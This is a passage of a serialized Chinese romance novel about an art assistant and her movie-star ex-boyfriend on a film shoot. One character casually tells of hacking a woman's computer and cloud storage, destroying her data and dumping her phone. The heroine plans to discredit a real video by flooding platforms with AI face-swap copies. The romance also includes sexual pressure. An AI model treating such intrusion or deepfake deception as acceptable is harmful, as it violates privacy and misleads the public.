就在他抬手那一刻,他听见纸板墙背后传来窸窣的动静,窗户大开着,凌湛点燃烟,往里一望,就看见一个穿厚棉衣捂得严严实实的女孩子在靠窗的沙发上蜷缩着睡觉,她整个人蜷成一团,脸埋在手臂里,在凌湛面前翻了个身。 凌湛看着她,手指一顿,把烟掐了。 然后进去。 她估计是干到撑不住,想找个安静又不碍事的地方休息一会儿,于是钻到这间还没排灯光的布景屋,躺在道具沙发旁边,抱着自己的外套当枕头。倒是会找地方。 合雨悠睡得太沉,连他踩到木屑的声音都没反应。 凌湛站在原地,盯着她好几秒。 刚掐灭的烟塞进裤兜。他弯下腰,还是那样看她,阴影落在她洁白的脸蛋上,凌湛垂下眼眸,而后蹲在她面前的地毯上,像什么大型猫科动物一样盯着她。 他想把合雨悠吵醒,凭什么睡得这么香?他昨晚还失眠呢,但最后还是没有吵醒,还很大方地给了她自己的外套。凌湛望着那张疲惫白净的小脸,心下陷入一种很微妙的安静和痛楚里。 他没有蹲很久,因为合雨悠醒了,她是在一阵短促的闹铃声里醒的。为避免睡过头,她提前调了闹钟。 脑子还没完全转过来,视线先晃了一下,随后直接和凌湛那张面无表情的脸对视上,他脸上冷静得过分,睫毛遮住大部分情绪,合雨悠迷茫而震惊地望着他,他没回避,也没挪开,反而凑近了些。 ……合雨悠一下子清醒了,抓着身上“毯子”立刻往后挪。 他朝合雨悠伸手。 合雨悠一懵,低头看他的手:“我不能牵你……我可以自己起来。” “谁要牵你了,你躲什么。”凌湛没有想到见面第一句话居然是,“把外套还我,我冷了。”—— 作者有话说:[三花猫头]感谢追文,都发红包~ 第52章 合雨悠低头,看见身上盖着的居然是凌湛的黑色毛衣外套。 她立刻还给他,意识到这不是做梦,这里是露天的布景间,没有保暖的天花板,她睡得手脚冰冷,僵硬地撑着胳膊坐起身来:“……你怎么会在这里。” 凌湛起身说:“男主角不能在片场?我找地方抽烟,你怎么跟流浪猫一样到处乱睡。” 合雨悠“哦”了一声,低头,声音也很小:“那谢谢你的外套,我刚刚就是有点犯困了,还没下班呢。” 她其实有点害怕,所以看了一眼四周有没有人。 凌湛穿上外套,合雨悠也爬起来穿鞋:“那你抽吧,我得回去了。”说完补充,“还有就是谢谢你给我介绍的工作。” 凌湛脸上表情更淡漠了:“嗯。” 等她穿好鞋与他错开要走,凌湛像要侧开让路,可在与她擦肩那一瞬,几乎是下意识拉住她的胳膊。合雨悠被拉得一怔,回头的眼神里有明显的慌。 凌湛嘴唇一动,说:“合雨悠,你穿了八厘米内增高?” 合雨悠:“……” 能不能别揭穿她。 好冰冷的字眼。 凌湛扫了眼她的鞋,难怪看她站贺秋阳旁边不像以前那么矮了,还以为分手了长高这么多。 合雨悠和他对视几秒,她先垂下眼,轻轻地抽出自己的胳膊:“凌湛,我真的得走了。对不起。” 凌湛嘴角笑意淡下来,灯从高处落下,勾出他下颌的冷影:“我知道你要走,那么急做什么,人最后都会走的。” 合雨悠努力不看他,可他的气息几乎弥漫整个布景间,充斥着四周,侵略性极强地笼罩着她,她说:“我没时间和你探讨生死哲学的,我还有工作。我们不能在片场说话,这里人太多了。” “哦,还是那么怕被人发现谈恋爱。”他似笑非笑的,眼睫的弧度却是冰冷的,“一点没变,胆小如鼠。” 合雨悠被刺得胸口一紧,抬眼说:“首先我们已经分手很多年了,没有谈,我只是不想自找麻烦,更不想给你带来任何麻烦。我只是美术组一个普通助理。” “知道分了,能别老提吗。”凌湛显得有点烦躁了,“这有意思吗。” 合雨悠抿抿唇:“我也没有想提,过去就过去了……你也别提。对不起。”她的道歉是对以前的,也是对现在的,可是凌湛听不懂。 说完,合雨悠听见外面传来板车的动静,她立刻抬腿就走,不敢跟他待在一个屋檐。 一出门,道具组正推着板车经过,地面扬起细灰,她被呛得打了个喷嚏,眼角进了沙子,泪水一下涌出来,她背着光揉着眼,越揉越疼。 凌湛跟着从洋房布景的侧门出来,烟还夹在指尖。看见她边走边哭,几乎是非常努力才控制住走向她。 跟他说几句话都能哭是吗? 还背地里哭,可笑。 合雨悠感觉眼睛有点发炎了,她揉了好久,收工后她回到酒店滴眼药水。按理说她得和组里其他妹子拼房的,结果没有,她一个人住一间,老大说是因为她刚好是多出来的那个单数,大家都很羡慕她。 尽管酒店也就是剧组专用的六层楼小平房,建筑有些年头了,房间空调甚至还是泛黄的柜机,阳台晾着几件合雨悠的衣服。 一夜平静睡到早晨。 片场,合雨悠又看见了这位男主演,他开完剧本会下楼,合雨悠注意到他在聊视频,脸上有笑,依稀可以听见声音:“抱抱,你真可爱,抱抱你过来点儿……” 合雨悠一懵,不是,凌湛谈恋爱了吗? 这么正大光明在剧组这样聊暧昧吗? 身旁同组妹子感叹:“可真帅,跟组多年,这是顶颜,盒子你以前见过最帅的明星是谁?” 合雨悠心不在焉:“没见过几个。” 妹子说:“我见过真人最帅的就是凌湛了,真享福,跟组也不辛苦了!” 凌湛坐在钓鱼椅上,嗓音很温柔:“好乖啊抱抱。” 合雨悠忍不住了,问旁边妹子:“雅姐,他公开恋情了还是怎么的?” 雅姐看她一眼,解释道:“他有只叫抱抱的猫,你没看微博吗?他发过的。” 合雨悠:“???” 合雨悠立刻打开手机,搜凌湛的微博。他发的营业不多,是个身上没代言也不需要打广告的明星,前不久刚发了一张撸猫的照片。合雨悠打开仔细一看。 ……居然是她的猫?? 不是,她记得自己把猫送给了一个马先生,上海本地人,有房有车,好像是给人做助理之类的工作。 ……一切都串起来了!!! 手机上方同时弹出消息。 LZ:“可爱吧?” LZ:“我的。” 合雨悠背过身,打开消息,是凌湛的消息,附一张视频聊天界面的撸猫截图,右上角小窗是凌湛的帅脸。 合雨悠头疼地揉脑袋,说凌湛不知道这是她救助的猫,是不可能的。她不相信。 合雨悠蹲在路边,和他隔着大概一百多米,回消息:“本来是我的猫,我之前捡回家的,你找你助理领养的吗?” 凌湛没有承认:“什么是你的?我想养猫,助理带回来的。现在是我的。” 合雨悠:“那你好好养。” 凌湛回:“跟着我肯定比跟着别人好。” 合雨悠:“好吧。” 凌湛:“我什么都给猫,猫很爱我。” 合雨悠沉默。 凌湛:“有时候养宠物比养人有趣多了[微笑],猫不会背叛我。” 合雨悠头皮发麻,手都在抖,一抬眼,凌湛没看她,而是在和刚进组的一个女二聊天,女二似乎是想要个签名。他态度很随和地就签了。 雅姐过来拉拉合雨悠:“我也想去要,你去不去?” 合雨悠摇头:“不。” 雅姐还是有点怂:“算了我回头让老大给我一张,他们进组会签挺多的。” 合雨悠进去,手机也揣兜里,继续干活。 过了会儿,雅姐进来喊:“男主请全组喝星巴克吃烤淀粉肠了,快点儿的!” 演员进组请全组吃饭是基操,大部分时候是星巴克、麦当劳这类。 凌湛是点了星巴克。 但大家都没见过淀粉肠,这什么操作。 全组一人两根,合雨悠也有。星巴克是热的,她也拿了一杯,大家此起彼伏地道谢,对凌湛说:“谢谢陆元帅。” 凌湛说没事,转身上了保姆车。 经纪人叶铭也到了。 叶铭是贺峰介绍给凌湛的人,本来以为能扶一个“外形逆天、条件逆天、天生天选大明星”的弟弟,让事业再上层楼。合作下来才发现,这哪是娱乐圈想要的明星,分明是个心里只有“我要拍”“我要导”“我要构图”的疯子。 拍戏只是为了赚钱给自己下一部当导演的电影补窟窿。 但凌湛筹备几年的那个本子,他也看了,说实话拍出来和他上部片子肯定是一个下场,或许能拿奖。唯一能指望的是某届评委如果换成贺峰本人,说不准真能拿个金熊金棕榈之类的。 叶铭叹了几百次,今天又求助了孟导。 他抱着那一大沓本子进车时,看到凌湛靠在椅背上,单手撑着额角,帽檐压低,侧脸线条锋利,手上还夹着半支烟。 “圈里所有的好本子,先从你们家贺导那里走一遍,再到孟导,”叶铭把沉甸甸的一摞剧本甩到后排座,“这些是孟导挑出来的。他说你要真想拍片,就认真看看,商业和艺术不是不能结合的,别走极端。” 凌湛没说话,伸手拿起最上面的剧本。 指骨修长,垂着眼翻开扉页的动作安静而专注,像是整个人沉进去了。一路翻过去,他的眉峰偶尔动一下。新剧本叙事紧、节奏明快、人物线明确,和他之前拍的电影诗完全两条路。 他就这么看了几天的剧本,有的故事他挺喜欢的,就坐保姆车上,隔一个小时下车走会儿,片场总共就两百号人,看见合雨悠的概率不低。 但两个人根本没有交流,合雨悠也不主动联系。每次点进去都没有新消息,凌湛的不爽几乎写在脸上,只要一个人待着脸上就是臭的。 有时候想给她发个消息,问她要不要看猫,最后也没发。 不是背地里还为了他痛哭流涕吗,为什么还不来舔他? 晚上回酒店休息,合雨悠接了贺秋阳的电话。和她聊了几句有的没的后。 “雨悠,我长话短说,”贺秋阳道,“你之前让我查的东西。” 她心口一紧:“找到了?” 贺秋阳:“我让人进了向悦的电脑和云盘。” 他语气一贯冷静:“她的电脑已经报废了,数据全部损毁,手机是苹果不好黑,我给她丢黄浦江了,可能有备份,至于你说的U盘,”他顿了顿,“我不好动手,这是私人物理介质,有溯源风险,你得想其他办法。我会尽量继续帮你忙。” “已经帮大忙了……”她声音有点轻,“秋阳哥哥,谢谢你。我回去会请你吃大餐的。” “客气什么。” 他换了个口气,“向悦那边的情况也一样,没有新的好转。理论上能醒,但概率不大。” 合雨悠嗯了一声,贺秋阳问她:“剧组应该很忙?” “是的……”她低头擦头发,“工作很多。” “凌湛在剧组吗。” “在的,不过我们没联系的。”合雨悠说。 贺秋阳顿了顿,好像有话要说,最后也什么都没说,两人互道晚安,但合雨悠没有心思睡觉,电话挂断后,坐在床沿,手心有点冰。 向悦如果哪天醒了、哪怕只醒两分钟,都有风险。她听贺秋阳说了,向悦是和凌湛吵架后喝酒,酒驾才出车祸的。 所以她醒来一时想不开公布视频的概率很高。 合雨悠盯着墙壁发了好一会儿呆,脑子里忽然闪刚刷到的东西。 AI换脸算法。 抖音上无数个“假男朋友模板”。 那些把明星面孔、网红面孔随意换在情侣视频里的特效。 SORA、Runway、乃至她自己都在剧组用的商用AI工具。 导致人们哪怕看见素人和明星的亲密合影,也不会在意,也不会信以为真。 她猛地坐直。向悦之所以能威胁,是因为“视频里的人是她和凌湛”。 如果—— 如果让“所有人都能生成一模一样的视频”呢?只要让同一个场景、同一个动作,被换成无数张陌生的脸,散落在平台的各个角落里—— 那么那段“真实视频”,就会变成一种常见的“模板”。跟贴纸一样,跟滤镜一样,自然、无害、毫无可信度。 假如向悦真的醒来、视频公开,她也只会被骂一句:“你发的不是特效模板吗?” 向悦会疯狂到实名上号说:“这视频是真的,是我很多年前拷贝的”吗? 有这个概率,不过…… 合雨悠越想越觉得可行!她回忆了下,凌湛拍过什么视频来着? 最有攻击性的也就是亲吻延展至激吻,后面还被遮挡镜头只剩下录音的片段,合雨悠记得故事是发生在川西甘孜州炉霍县的一家酒店,酒店叫什么合雨悠都忘了,她打开地图搜索了半天也没找到正确的酒店,兴许是倒闭了、改名了、换装修了……都有可能。 合雨悠没看见过视频,她只知道大概的角度,可不知道到底看起来是什么样,所以她现在必须看见原视频。 原视频…… 凌湛那里,或许有。 或许。 或许他删掉了。 她打开微信,手指在聊天界面悬了半天……终于一咬牙,发了消息给LZ:“在吗?” 这事儿不能拖,拖一天她都害怕。这是最好的办法,打时间差,向悦越晚苏醒,成功率越高。 此时,凌湛刚结束饭局回酒店。导演演员住的酒店,和剧组其他成员并不相同,是附近一家崭新的五星,对于合雨悠的消息,他有那么一点意料之中的意外。 因为知道她会忍不住。 但合雨悠恐怕忘了,他最讨厌别人发“在吗”给他。 所以凌湛回:“?” 双方都发了对方最讨厌的消息。 但合雨悠没纠结这个。 她纠结的是,这种事是不是当面聊比较好,她需要视频,又不能告诉凌湛她拿去干什么,得找个借口。 合雨悠又问:“你带相机了吗?” “怎么。”凌湛靠在了沙发上。 合雨悠又发:“我想用用……” “现在?” 凌湛扫了眼时间。 合雨悠:“呃……对。”不然夜长梦多。 晚上十点过,十点过跟他说想用相机,她在想什么不言而喻。 凌湛挑眉,把酒店名字发她:“1888号房,自己过来。”发完消息,凌湛就在外卖上点了盒套,用的叶铭的名字—— 作者有话说:[三花猫头]感谢追文~都发红包~ 第53章 住隔壁的叶铭接到了凌湛的电话。 凌湛说:“我点了个外卖,骑手已经取货了,用的你电话和房间号,拿到了给我下。” “什么外卖?吃的吗,我也吃,辣吗,我不吃辣。”他说,“给我点个不辣的烧烤吧。” 凌湛:“滚,我点的避孕套。” 叶铭:“??” 叶铭疯掉,很快敲响凌湛的门,凌湛正打开窗通风,叶铭进来就大骂:“干什么,你疯了???你点那玩意儿想干什么!!”随后瞥见他窗帘窗户大开,头皮发麻地冲过去拉窗帘:“开那么大窗也不怕被偷拍?明天要是有狗仔拍到你取外卖,再去查你点了什么,你知道会传出什么新闻!” 他这经纪人就是老妈子性格,凌湛对此很包容。 “所以用你名字点的,和我有什么关系。对面写字楼有人会偷拍?”凌湛说,“我房间还有烟味吗,我闻不出来。” 合雨悠是不喜欢那味道的。 “……你当明星时间还是太短,”叶铭揉额角,“没点自己是明星的自觉吗,你下飞机多少人跟着你你不知道吗?” “不知道,”凌湛回答,“我读书的时候也很多人跟着我。” 叶铭:“……有点自知之明?你是个公众人物!!” “我再敞敞,”他根本不回答,鼻子嗅了嗅,打开一侧窗户说,“我怕有味儿。你有香薰蜡烛吗,给我点会儿,或者香水。” 叶铭深呼吸:“……这是要接待谁?什么国家元首,这样隆重。” 叶铭环顾一圈,晚上酒店的清洁不在,他们住的是普通五星,胜在离片场近,而凌湛居然已经自己把房间收拾了一通,像极了动物界求偶的鸟类。 “你点套干什么,你召妓了?约的?女演员?” “你有病,你才召,我女朋友要来。”凌湛看了眼手机上骑手的距离,又进卫生间抓头发,镜子里自然是艳光四射大明星,三百六十度无死角。 叶铭相当震惊地看他用发胶,大晚上的居然这样,他说:“……你什么时候有的女朋友,你知不知道被人知道了后果很严重?” 凌湛侧头:“分过的。” “你前女友?”叶铭皱眉,“首先,前女友和女朋友名词含义有区别,前女友为什么说是女朋友。” “她找我复合,”凌湛理所应当,“我还没答应,我要考虑下。” “凌湛!!”叶铭大喊大叫,继而压低声,“你谈恋爱要是被爆出来!你完不完我不知道,我先气死!!你绝对不能在事业上升期传绯闻!!” “我就一拍戏的,我算什么。” 凌湛没拿自己当公众人物看,他进娱乐圈目的很明确,就是为了赚钱,赚到钱再去做他想做的事。 谈恋爱会影响他代言吗?不会,因为他根本不接,会影响他电影票房吗?可能有点影响。 他顿了顿,说:“你现在不让我谈恋爱,那什么时候可以?等我死了你给我配冥婚吗?”不知道是出于恨还是什么,凌湛露出一个微妙的笑,“配冥婚我也要和她配。” 他一向爱憎分明,并不想放过合雨悠。到目前为止,他根本无法释怀被人当做替身,被女生甩,更无法释怀的是让她移情别恋的人居然是贺、秋、阳! 叶铭掐了掐自己人中,余光瞥见凌湛从行李箱里找到了香水在喷床,太阳穴突突跳,他看凌湛根本无需考虑,他那女朋友是魅魔吧,估计一条消息过来他就爬过去求复合了,沦陷得毫无遮掩。 下一秒,叶铭就接到了电话,骑手说:“给机器人了,机器人给你送上去了啊。” 叶铭去给他拿外卖,特别紧张地回房间,拿了一摞剧本遮掩,夹带着给他拿过去:“我知道禁欲不好受,要么你忍忍呢,别犯事儿,凌湛,还是事业更重要,要么我给你买飞机杯呢?” “我不要,你自己用用就行。”凌湛在卫生间镜子前面,“我给你点了不辣的烧烤,你等下自己拿,你再过来帮我看看。” 叶铭走进去,凌湛撩起衬衫下摆,问他:“我腹肌好看吗?” 叶铭:“…………” 凌湛低头,自己戳了几下:“块块分明,应该女生都喜欢吧。” 叶铭:“你自己知道就好。”他倒希望凌湛是纯约,但纯约他也不放心:“等下让她交下手机,我担心爆你料。” “爆我什么,爆我六块腹肌十八厘米吗,她不会的。”就合雨悠那个乌龟性格,最怕摊上事,最怕腥风血雨,连学校里三五成群的女生议论她,她都要躲他怀里生怕被人看见,每次约会还戴口罩,“要爆料她早爆了。” 说完他瞥一眼手机。 不知道合雨悠到哪儿了。 他们片场酒店过来这么远的吗? 他发了条消息:“再不来我睡了。” 合雨悠回:“马上!马上!七分钟!!” 凌湛回:“哦,你不用那么急,我没有想见你。” 合雨悠飞快回:“但我想。” 她要急死了。 凌湛嘴角一弯,不回她了,手机揣兜里了,走到起居室说:“阿铭,你帮我弄下这个电视,我之前把线拔了……这怎么插线的。” 叶铭:“还要看片助兴呢?”他眼睛抽搐,“投屏小点声,等下被人投诉客房来敲门就抓你包了,那他妈真是笑话了。” 凌湛:“她喜欢看恐怖片,我得给她放。” 叶铭捂脸。 凌湛再看眼手机:“还有三分钟,我们电梯要刷卡吧?那她上不来,你帮我接一下。” 叶铭:“我粉丝二十万,你以为你粉丝不认识我吗,我敢去接她啊?” 凌湛想了想:“你就站电梯里,也别和她说话,哦对,她是剧组的,和你认识也没关系的对吧?” 叶铭更是瞳孔地震:“什么还是我们剧组的?哪个?谁?!?!” “美术组一个穿鞋一六五、脱鞋一五八的妹子。”他这样形容,“我没和她在剧组说过话,你可能跟她打过照面,有印象,因为她很漂亮的……”说完,凌湛就把他推出去,“还有一分钟,你先去接,别废话了。” 叶铭无语凝噎地下楼了,作为经纪人,他是应该约束凌湛,可同样是男人,知道当明星为了私生活干净禁欲起来多辛苦,当然对比赚的钱并不辛苦。 尽管如此,能做到的人非常少。剧组夫妻常有,这还只是最微不足道的。 像他带了凌湛一年了,知道他这人对什么都不感兴趣,自律,每天定时健身和攀岩,定期学习知识出门扫街,在家画分镜看电影,私生活干净得不正常了,偶尔打游戏但也不过分。 看起来他的成功近在眼前了,因为叶铭很少见到他这种体质。 作品不多,没刻意营销,可到处都是他的切片和路透;新媒体算法像对他偏心似的,随便出现几秒都能霸个榜。同时他又有种这个年纪不可见的沉淀感,并不急功近利,反而随心所欲,钱不像是目的,前途也不是引擎,终极目的不过是能做他想做的事,他所做的一切都为此所驱使。 至于他这位前女友,叶铭很快就见到。 凌湛说的不错,他确实有印象。 整个剧组两百来号人,男多女少的情况下,叶铭又是一双慧眼,很容易发现人群里条件好的素人。 合雨悠低头看看手机,凌湛把经纪人照片发给她了。 她走过去,想了想没有打招呼,叶铭隐秘摇头,带她进电梯。叶铭刷卡,两个人在电梯里一言不发,叶铭不动声色打量她,是个挺漂亮的姑娘,白皮肤大杏仁眼,长相甜美但又有点气质忧郁,看着是个乖乖女。 他又看了眼那鞋。 这么高的内增高吗,怎么看不出来。 确认没人偷拍,叶铭把她送进凌湛的房间。 凌湛打开门。 叶铭震撼地发现他下楼的几分钟凌湛又换了一套V领的衣服,胸肌若隐若现的。 合雨悠好像有点局促,她心里是挺急的,听见门在身后关上,而凌湛态度很冷漠地看着她,合雨悠低头问:“我要换鞋吗?” “你自己拿,在衣帽间。”凌湛转身去倒水,给自己喝。 “找到了……”合雨悠换好鞋就矮了一截,她心下为此叹气,扭头走出去,“刚刚那是你经纪人么,我没跟他打招呼。我想可能也不好打招呼,他还特意下来接我。” 凌湛:“你和他又不认识,相机给你,你明天要用?”凌湛先把他最近扫街在用的微单给她,还有一台拍鸟的,估计她拿不动。 合雨悠站在书桌前低头摆弄这台相机说:“这是以前的那个吗?好像不是。” 凌湛也垂下眼看着她站自己跟前,耳尖白生生的,说话软绵绵的,看着是个没脾气的萌妹子,怎么能干出甩人和找替身这种事。 凌湛斜靠在书桌:“你要以前的做什么。” “我,呃,我想找点照片,就是你以前拍的我,我记得……拍了很多。” 凌湛:“贺秋阳不会拍照吧,没有我把你拍得漂亮对么?”他表情还是冷冰冰的,等合雨悠抬首的时候,他说,“不好意思,全删了。” “果然是删了么……”合雨悠不死心,望着他道,“真的没备份了吗?” “不值得留恋的回忆只会占内存。”凌湛启唇,“比如你。”他露出一个并不达眼底的笑,“还有事么,相机拿走吧。” “相机……不用了,我本来也不是来借相机的。”她表情看起来灰暗了点。 凌湛露出“我就知道”的态度,挑挑眉,和她对视。合雨悠陷入沉默,一会儿看前任无可挑剔的帅脸,一会儿低头又不可避免地看见他的身材和腿,一会儿错开眼神看窗帘。 凌湛:“会说话吗?” 合雨悠:“我没哑,我,那你既然删了,我就走了。下去应该不需要刷卡的吧,应该不用。”她最后看了凌湛一眼,转身要离开,“那我走了,拜拜,晚安。” 凌湛看她去换鞋,手真的在门把手上,真的打开门要出去,甚至一只脚已经踏出去了,凌湛出声:“回来。” 合雨悠转头。 凌湛:“关门。” 合雨悠看他几秒钟,关门:“你还有什么要说的吗?” 凌湛皱眉:“明天周六你要去片场吗?” “明天是休息。”合雨悠不知道他要说什么,她在想他会说什么,她很紧张地靠在门上,下嘴唇紧紧绷着。其实有很多次,她都想和他说清楚,但知道凌湛那性格估计要去找向悦麻烦,天不怕地不怕的,激怒向悦太正常了。 有时候她又想,横竖也过去很多年了,遗憾就遗憾吧,说出来也没有意义,真相说出来他们还会再相爱么,不会的。一切都是命运。 可此时此刻,至少合雨悠感觉自己是爱的,面对他还是会下意识脸红心跳,不能自已。 这都是不能宣之于口的。 她等凌湛说话,凌湛也等她说话。最后凌湛先不耐,右手打开浴室门:“去洗澡。” 合雨悠懵:“洗什么?” “洗澡,不会?洗澡也要我帮你么。”凌湛单手把门反锁了,“你能背叛贺秋阳一次,就能第二次。” 合雨悠反应过来了,看见浴缸居然已经是放满状态,呆了几秒钟:“凌湛,我不是来找你做那个的……” “那你来做什么。”凌湛几乎是居高临下对着她。 “照片……我找照片,还有视频。”合雨悠眼眸闪烁,可语气真诚,“真的凌湛,我没骗你。” 说什么呢他不想听。 “那你想做吗?” “啊?”她没说完,凌湛打断:“这不重要,我现在想做,去洗澡。”他抓住了合雨悠的手腕,那么细瘦,好像这几年根本没吃饱饭一样,他皱了皱眉,给她脱外套:“晚上吃的什么?” “剧组盒饭……等等我不洗啊!”合雨悠涨红脸支吾着,“我出门前刚洗的!” 倒不是为了见前任才洗,只是她刚好洗了才接到贺秋阳电话的,她平时这个点都该睡觉了的。但不妨碍她那个想象力很丰富的前男友胡思乱想,因为想和他出门前才洗澡的。 凌湛扯了扯唇角:“那更好了。”他把合雨悠的羽绒服随手丢地上。 合雨悠立刻弯腰去捡:“干嘛丢地上啊,这是大鹅……”她有钱的时候买的。 “我再给你买。”他不准她弯腰,单手扣住她腰,“站好。” 下一秒,他胳膊因用力而紧绷成一条线,轻巧地一提,她整个人就被他带离地面。等合雨悠回过神,人已经被他放在洗手台的边缘。 除了在他手里,合雨悠从来没想象过自己是一颗冬瓜。 洗手台是冰冷的大理石,他们这样才可以角度平直地对视,就像以前,凌湛为了和她说话时可以认真地去看她的眼睛,会经常弯腰,在合雨悠坐着的时候他蹲在她面前。 两个人的距离被拉得很近,近到她抬头就能撞进他的呼吸里。 合雨悠左顾右盼:“我、我想离开。” 凌湛双手圈在她身后镜面上,微仰着下巴,垂下眼睫:“你看你能不能出去。” 这个包围圈很紧密,她真的呼吸不过来了。 但合雨悠硬着头皮说:“我能。” 说完她纵身一跳,试图从他人和洗手台之间的缝隙里跳出去然后从他胳膊底下钻出去,这可能有点滑稽,她想象是很好很流畅丝滑的,可跳下去后,还没站稳就顺理成章被他圈怀里了,肌肉结实的长臂在她后背收紧,他低头,下巴支在合雨悠的发顶。 在合雨悠看不见的地方,凌湛闭上了眼睛。 一瞬间她闻到凌湛皮肤上没有烟草味,只有一种沐浴过后的薄荷气味,夹杂久违的男性荷尔蒙,冲得她头晕目眩。天知道她多久没和男生这样接触过了……她真的腿软了要她跑可能也跑不动。 “所以你的能就是跳我怀里吗?我以为你多大的本事。”凌湛还是没什么表情,看得出来合雨悠现在已经找不到北了。 考虑到这个姿势比较困难。他又环着合雨悠的腰很轻松地把她抱上去坐着,一手环她腰一手按着她的大腿,“再跳一回呢?” “你别这样……你别玩我了。”合雨悠只能以一个不安的姿势**坐着,手更不安地推推他胸膛磕巴地说,“我们分手了。” “我知道。”凌湛语气没有生气,垂眼看那只不安分的小手,哪有人这么摸前男友的,“我知道分了。”他再稍稍低头,黑眸便和她的琥珀瞳对上,睫毛微微抬起,喉结动了一下道,“你亲我,像以前那样亲,我会原谅你一会儿。”—— 作者有话说:[三花猫头]谢谢追文!都发红包~ 第54章 合雨悠对上他的目光,第一反应不是回应,也不是拒绝他,而是迅速扭头看一旁洗手台有没有放置相机。 她是真害怕凌湛这个见鬼的什么都要记录成影片的性格。 “你不专心。”凌湛皱着眉伸手将她的脸掰过来了。 合雨悠板着小脸:“我来是有正事的!!” “说下你的正事是什么?晚上十点登门,身上还这么好闻,是什么味道,花香。”他低头在合雨悠身上嗅,但没有亲吻,只是呼吸洒落在女生的肩膀和脖颈,灼热地一下一下,他其实很想紧紧拥抱她。可是没有。 合雨悠也在努力摆正自己的思想,说:“找过去的你给我录的像,拍的照。仅此而已。你说你删了,那我真得离开了。”她又推了凌湛一把,但还是没能推开,她没使用最大的力量,怕真的用力了场面就难看了。她不想要难看,她要体面的、温和的。 凌湛:“我需要思考一下,我可能有一些备份吧。”说到这里他看见合雨悠猛地抬头,好像这些东西真的是她的目的一样,凌湛眯了眯眼:“但我现在不爽所以想不起来了。” 合雨悠不可思议地望着他,一只手揪住他的领口:“你没删对吗?” “记不清了。”凌湛捞着她小腿将她朝自己拖了几公分,两人几乎是紧密抵着的,垂眸道,“你主动一点兴许我就想起来了。” 合雨悠对这个姿势很不好意思,裤子隔着三层都能感觉到形状,但眼下不是想有的没的的时候,她紧紧盯着他的双眸。 无法判断。 她不知道凌湛在想什么。 凌湛可能是想报复她,或者羞辱她,这些恐怕都是她应得的,毕竟想起来她做的那一切,那真是太过分了,可那是她不得不做的事,她有很深的苦衷。如果她没有那样做,以向悦的疯劲儿,两个人的黑历史说不定现在还挂网上,也许以现在的眼光来看,那并不是什么大不了的事。 素人激吻,外加黑屏录音,大尺度台词。许多院线电影都比他们尺度大。 可在当时,在合雨悠年仅十八时,可以说是天塌了、前途近毁的一件事。 毁掉她的,和凌湛的未来。 凌湛看她走神,眼里都是仿徨,好像有很重的心事和秘密。 想起过往,他不免也心中一痛。 “你还要考虑多久?我的时间很贵。” 合雨悠:“我只想快点解决事情……”她迅速抬眸,朝后挪了挪,“只要亲一下就行了吧?那、那你等下,我得漱口。” 凌湛挑起一边眉毛:“我只说亲,没让你舌吻,你都在想这个了?” 合雨悠咬咬牙,飞快地凑近,凌湛没有动,合雨悠在他唇角糊弄地贴了下就迅速分开,说:“好了吧,你把视频拷给我。” 凌湛偏头:“想起来了,我没删,但在哪里我想不起来。”他其实没有什么特别和异样的感觉,因为满眼都是她的急躁和不情愿,这么不情愿吗? 合雨悠一时无言:“我求求你了,你要让我做到什么地步?你给我吧。” “那要看我什么时候满意,比起你对我做的,我只让你做这个,我真是对你太好了。”凌湛松开了手臂,没再那样紧紧相逼地按着她了,拉开了卫生间门,“你要走就走,不情不愿的事做起来没意思。” 合雨悠走不了。 合雨悠失去了他的怀抱,一下感觉身上变得冰凉。 她望着凌湛几秒后,从浴室洗手台上跳下来了,弯腰捡起外套,但没穿上,走到衣帽间挂上:“凌湛,以后别丢我的衣服了,地上有水。” 她的外套和凌湛平时穿的几件挂在一起,她从侧兜掏出U盘,走到他面前,放他手心里:“你拷给我,我去洗澡。还有,床头别放你那相机了。” 虽然出门前洗过,但只要一想到在前男友面前脱掉毛衣,脱掉秋衣,外裤和秋裤,再爬上他床,她的羞耻心就犯了,她甚至不知道凌湛这种性格,若干年后回忆起来,会不会把这事儿写进他的个人传记里,到时候她又该怎么办。 凌湛有点意外似的拿着那个U盘,他放桌上没动。视频确实不在电脑里,在某个保管妥当的硬盘里,他当然记得,记得很清楚,因为每年都会把与她相关的记忆拿出来看一遍,零零散散地剪成过几十分钟的片段,每次压抑的时候看会儿,就没那么压抑了。 毕竟被女人甩被人绿的事儿他都经历过。 合雨悠出来得挺快,也就十分钟不到,头发散在肩头,洗澡的时候打湿了发梢,脸颊因水雾而红润,凌湛没换衣服,坐在床尾的沙发上,伸展开两条长腿在低头看手机,她出来的时候他方才抬眼。合雨悠两手插在浴袍兜里,站在离他三四米远的地板上,看起来跟个受气包似的。 凌湛:“站着当保安呢,你过来。” 合雨悠朝他挪过去,默不吭声的,走近了才问他:“你拷给我了吗?” “没有,在上海那个家的硬盘里,你着急要我助理下周来的时候,我让他带过来。”凌湛没有忽悠她了,合雨悠听完没动静,杵着,凌湛:“几张照片和视频而已,你怀疑的看着我?我想睡谁睡不到,为什么非得惦记你。” 合雨悠抬眼:“我不知道,你可能想报复我,羞辱我。” “为什么我要报复你?我报复你的方式是和你上床?这是奖励。” “对我来说不是。”合雨悠挺煎熬的,她觉得是交易,她也觉得凌湛是不爱她的,不爱的情况下只能是报复,而报复她也只能受着。 凌湛气笑了:“那你走,我不拦你。” 合雨悠声音轻:“你下次还会这样为难我吗?” 凌湛眼皮薄薄地撩起:“我不会理你了。” 合雨悠:“我真的很需要视频和照片。” 凌湛:“要那些来干嘛,你要出版吗,”他说完起身,“你想炒作我们现在就拍,你要不想就告诉我你要做什么?” “我……”合雨悠纠结了一下,来的路上她考虑过要告诉凌湛,做AI换脸模板是她的想法,凌湛不一定同意,凌湛不仅不会同意可能还在向悦病房里大闹,一大闹那不是全天下都知道了。她挣扎了一下。 “又成哑巴了。”凌湛拉开抽屉,找到刚翻出来的一张照片,“你可能想要这个?” 合雨悠走过去看,表情一怔,那张照片让她非常意外,竟然是她和牛叔,她生命里少数能被称为“最好的朋友”的存在。她在照片里脸蛋晒得红扑扑的,笑得像能把整片田野点亮,眼睛弯弯的,站在田埂旁摸摸老黄牛。 合雨悠看了照片良久,想起凌湛曾告诉过她,他用长焦拍下过她和牛叔的照片,可一直没给她。 直到现在。 她说“谢谢”:“我可以带走吗。” “嗯。”凌湛挥了挥手,懒散,“你拿走,我困了,去睡了,我不送你了。” 合雨悠把照片放进衣服兜里,凌湛也没背着她,当着她面换睡衣,露出宽阔而结实的背肌,关灯。他其实没闭眼,他听着合雨悠的动静,窸窸窣窣地换衣服,用手机照光,她又走过来一些:“凌湛,你睡了吗?” 